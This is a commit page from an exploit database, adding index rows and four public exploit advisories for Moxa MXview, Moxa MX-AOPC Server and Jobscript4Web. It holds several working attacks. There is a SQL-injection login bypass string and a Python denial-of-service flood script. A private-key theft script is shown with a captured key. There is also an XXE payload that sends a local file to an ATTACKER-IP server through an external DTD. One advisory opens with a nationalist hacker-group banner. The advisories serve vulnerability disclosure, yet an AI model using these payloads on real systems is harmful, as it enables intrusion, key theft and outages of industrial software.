DB: 2017-04-11
4 new exploits Moxa MXview 2.8 - Denial of Service Moxa MXview 2.8 - Private Key Disclosure Moxa MX AOPC-Server 1.5 - XML External Entity Injection Jobscript4Web 4.5 - Authentication Bypass
This commit is contained in:
Offensive Security
parent
ddb02a2ec6
commit
341f44bf34
5 changed files with 361 additions and 0 deletions
|
|
@ -5462,6 +5462,7 @@ id,file,description,date,author,platform,type,port
|
|||
41813,platforms/multiple/dos/41813.html,"Apple WebKit - 'table' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
||||
41814,platforms/multiple/dos/41814.html,"Apple WebKit - 'WebCore::toJS' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
||||
41823,platforms/windows/dos/41823.py,"CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)",2017-03-16,redr2e,windows,dos,0
|
||||
41851,platforms/windows/dos/41851.txt,"Moxa MXview 2.8 - Denial of Service",2017-04-10,hyp3rlinx,windows,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
|
@ -15426,6 +15427,8 @@ id,file,description,date,author,platform,type,port
|
|||
41775,platforms/windows/remote/41775.py,"Sync Breeze Enterprise 9.5.16 - 'GET' Buffer Overflow (SEH)",2017-03-29,"Daniel Teixeira",windows,remote,0
|
||||
41808,platforms/hardware/remote/41808.txt,"Broadcom Wi-Fi SoC - 'dhd_handle_swc_evt' Heap Overflow",2017-04-04,"Google Security Research",hardware,remote,0
|
||||
41825,platforms/windows/remote/41825.txt,"SpiceWorks 7.5 TFTP - Remote File Overwrite / Upload",2017-04-05,hyp3rlinx,windows,remote,0
|
||||
41850,platforms/windows/remote/41850.txt,"Moxa MXview 2.8 - Private Key Disclosure",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
41852,platforms/windows/remote/41852.txt,"Moxa MX AOPC-Server 1.5 - XML External Entity Injection",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -37717,3 +37720,4 @@ id,file,description,date,author,platform,type,port
|
|||
41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
|
||||
41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||
41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||
41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
20
platforms/php/webapps/41849.txt
Executable file
20
platforms/php/webapps/41849.txt
Executable file
|
|
@ -0,0 +1,20 @@
|
|||
----------------
|
||||
Title = Jobscript4Web 4.5 - Authentication Bypass
|
||||
Date = 8/4/2017
|
||||
Soft = http://www.jobscript4web.com/index.html
|
||||
liVE Demo = http://www.simplejobs.co.in/soft4u
|
||||
---------------
|
||||
AutHor = TurkCyberArmy
|
||||
---------------
|
||||
Bizler Turk siber ordusu bunyesinde goreve basladik. Dosta guven dusmana korku vermek icin geldik.
|
||||
Kendimize ait isletim sistemlerimizle, programlama dillerimizle, kendimizin gelistirdigi yazilimlarimizla artik buradayiz.
|
||||
Sanal alem kontrolumuz altindadir. Turk devletine ait tum sitelerimiz ve sistemlerimiz emin ellerdedir.
|
||||
Bilin istedik !!!
|
||||
Turk Siber Yildizlari.!
|
||||
---------------
|
||||
+ Exploitation Details +
|
||||
---------------
|
||||
HTTP://Path/soft4u/
|
||||
user : ' or '2=2 password : ' or '2=2
|
||||
---------------
|
||||
|
||||
96
platforms/windows/dos/41851.txt
Executable file
96
platforms/windows/dos/41851.txt
Executable file
|
|
@ -0,0 +1,96 @@
|
|||
[+] Credits: John Page AKA hyp3rlinx
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
|
||||
[+] ISR: ApparitionSec
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
============
|
||||
www.moxa.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
===========
|
||||
MXView v2.8
|
||||
|
||||
Download:
|
||||
http://www.moxa.com/product/MXstudio.htm
|
||||
|
||||
MXview Industrial Network Management Software.
|
||||
|
||||
Auto discovery of network devices and physical connections
|
||||
Event playback for quick troubleshooting
|
||||
Color-coded VLAN/IGMP groups and other visualized network data
|
||||
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
===================
|
||||
Denial Of Service
|
||||
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
CVE-2017-7456
|
||||
|
||||
|
||||
|
||||
Security Issue:
|
||||
================
|
||||
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
|
||||
|
||||
|
||||
|
||||
Exploit/POC:
|
||||
=============
|
||||
import urllib,urllib2
|
||||
|
||||
print 'Moxa MXview v2.8 web interface DOS'
|
||||
print 'hyp3rlinx'
|
||||
|
||||
IP=raw_input("[Moxa MXView IP]>")
|
||||
|
||||
PAYLOAD="A"*200000000
|
||||
|
||||
url = 'http://'+IP+'/goform/account'
|
||||
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
|
||||
|
||||
while 1:
|
||||
req = urllib2.Request(url, data)
|
||||
res = urllib2.urlopen(req)
|
||||
print res
|
||||
|
||||
|
||||
|
||||
Network Access:
|
||||
===============
|
||||
Remote
|
||||
|
||||
|
||||
|
||||
Severity:
|
||||
=========
|
||||
Medium
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
==========================================================
|
||||
Vendor Notification: March 5, 2017
|
||||
Vendor confirms vulnerability : March 21, 2017
|
||||
Vendor "updated firmware April 7, 2017" : March 29, 2017
|
||||
April 9, 2017 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c).
|
||||
136
platforms/windows/remote/41850.txt
Executable file
136
platforms/windows/remote/41850.txt
Executable file
|
|
@ -0,0 +1,136 @@
|
|||
[+] Credits: John Page AKA HYP3RLINX
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-REMOTE-PRIVATE-KEY-DISCLOSURE.txt
|
||||
[+] ISR: APPARITIONSEC
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
============
|
||||
www.moxa.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
===========
|
||||
MXview V2.8
|
||||
|
||||
Download:
|
||||
http://www.moxa.com/product/MXstudio.htm
|
||||
|
||||
MXview Industrial Network Management Software.
|
||||
|
||||
Auto discovery of network devices and physical connections
|
||||
Event playback for quick troubleshooting
|
||||
Color-coded VLAN/IGMP groups and other visualized network data
|
||||
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=============================
|
||||
Remote Private Key Disclosure
|
||||
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
CVE-2017-7455
|
||||
|
||||
|
||||
|
||||
Security Issue:
|
||||
================
|
||||
MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key.
|
||||
Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request.
|
||||
|
||||
e.g.
|
||||
|
||||
curl -v http://VICTIM-IP:81/certs/mxview.key
|
||||
|
||||
|
||||
* About to connect() to VICTIM-IP port 81
|
||||
* Trying VICTIM-IP... connected
|
||||
* Connected to VICTIM-IP (VICTIM-IP) port 81
|
||||
> GET /certs/mxview.key HTTP/1.1
|
||||
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5
|
||||
> Host: VICTIM-IP:81
|
||||
> Accept: */*
|
||||
>
|
||||
< HTTP/1.1 200 OK
|
||||
< Date: Tue Feb 28 14:18:00 2017
|
||||
< Server: GoAhead-Webs
|
||||
< Last-modified: Tue Feb 28 10:46:51 2017
|
||||
< Content-length: 916
|
||||
< Content-type: text/plain
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb
|
||||
QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF
|
||||
2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+
|
||||
Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI
|
||||
RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm
|
||||
ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To
|
||||
YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj
|
||||
3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7
|
||||
UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK
|
||||
6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj
|
||||
YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M
|
||||
HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX
|
||||
EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl
|
||||
+CPTV6agBkYxe7Q=
|
||||
-----END PRIVATE KEY-----
|
||||
|
||||
|
||||
|
||||
Exploit:
|
||||
=========
|
||||
import socket
|
||||
|
||||
print 'Moxa MXview 2.8 Remote Private Key Theft'
|
||||
print 'by hyp3rlinx\n'
|
||||
|
||||
IP=raw_input("[Moxa MXview IP]> ")
|
||||
PORT=int(raw_input("[PORT]> "))
|
||||
STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n"
|
||||
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect((IP,PORT))
|
||||
s.send(STEAL_PRV_KEY)
|
||||
|
||||
print 'Enjoy ur private server key!\n'
|
||||
print s.recv(512)
|
||||
|
||||
s.close()
|
||||
|
||||
|
||||
|
||||
|
||||
Network Access:
|
||||
===============
|
||||
Remote
|
||||
|
||||
|
||||
|
||||
|
||||
Severity:
|
||||
=========
|
||||
Critical
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
===================================
|
||||
Vendor Notification: March 5, 2017
|
||||
Vendor confirms vulnerability : March 21, 2017
|
||||
Vendor "updated firmware April 7, 2017" : March 29, 2017
|
||||
April 9, 2017 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c).
|
||||
105
platforms/windows/remote/41852.txt
Executable file
105
platforms/windows/remote/41852.txt
Executable file
|
|
@ -0,0 +1,105 @@
|
|||
[+] Credits: John Page AKA HYP3RLINX
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
|
||||
[+] ISR: ApparitionSec
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
============
|
||||
www.moxa.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
=======================
|
||||
MX-AOPC UA SERVER - 1.5
|
||||
|
||||
Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
==============================
|
||||
XML External Entity Injection
|
||||
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
CVE-2017-7457
|
||||
|
||||
|
||||
|
||||
Security Issue:
|
||||
================
|
||||
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
|
||||
a specially crafted malicious MX-AOPC Server file type.
|
||||
|
||||
|
||||
|
||||
Exploit/POC:
|
||||
=============
|
||||
run MX-AOPC UA Server / Runtime / Start Server Runtime Service
|
||||
|
||||
a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
|
||||
python -m SimpleHTTPServer 8080
|
||||
|
||||
"Evil.AOP" file
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE roottag [
|
||||
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
|
||||
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
|
||||
%dtd;]>
|
||||
<pwn>&send;</pwn>
|
||||
|
||||
|
||||
b) Evil "payload.dtd" file host on ATTACKER SERVER
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
|
||||
%all;
|
||||
|
||||
|
||||
e.g.
|
||||
|
||||
python -m SimpleHTTPServer 8080
|
||||
|
||||
Serving HTTP on 0.0.0.0 port 8080 ...
|
||||
|
||||
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
|
||||
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -
|
||||
|
||||
|
||||
|
||||
Network Access:
|
||||
===============
|
||||
Remote
|
||||
|
||||
|
||||
|
||||
Severity:
|
||||
=========
|
||||
High
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
==========================================================
|
||||
Vendor Notification: March 5, 2017
|
||||
Vendor confirms vulnerability : March 21, 2017
|
||||
Vendor "updated firmware April 7, 2017" : March 29, 2017
|
||||
April 9, 2017 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c).
|
||||
|
||||
hyp3rlinx
|
||||
Loading…
Add table
Reference in a new issue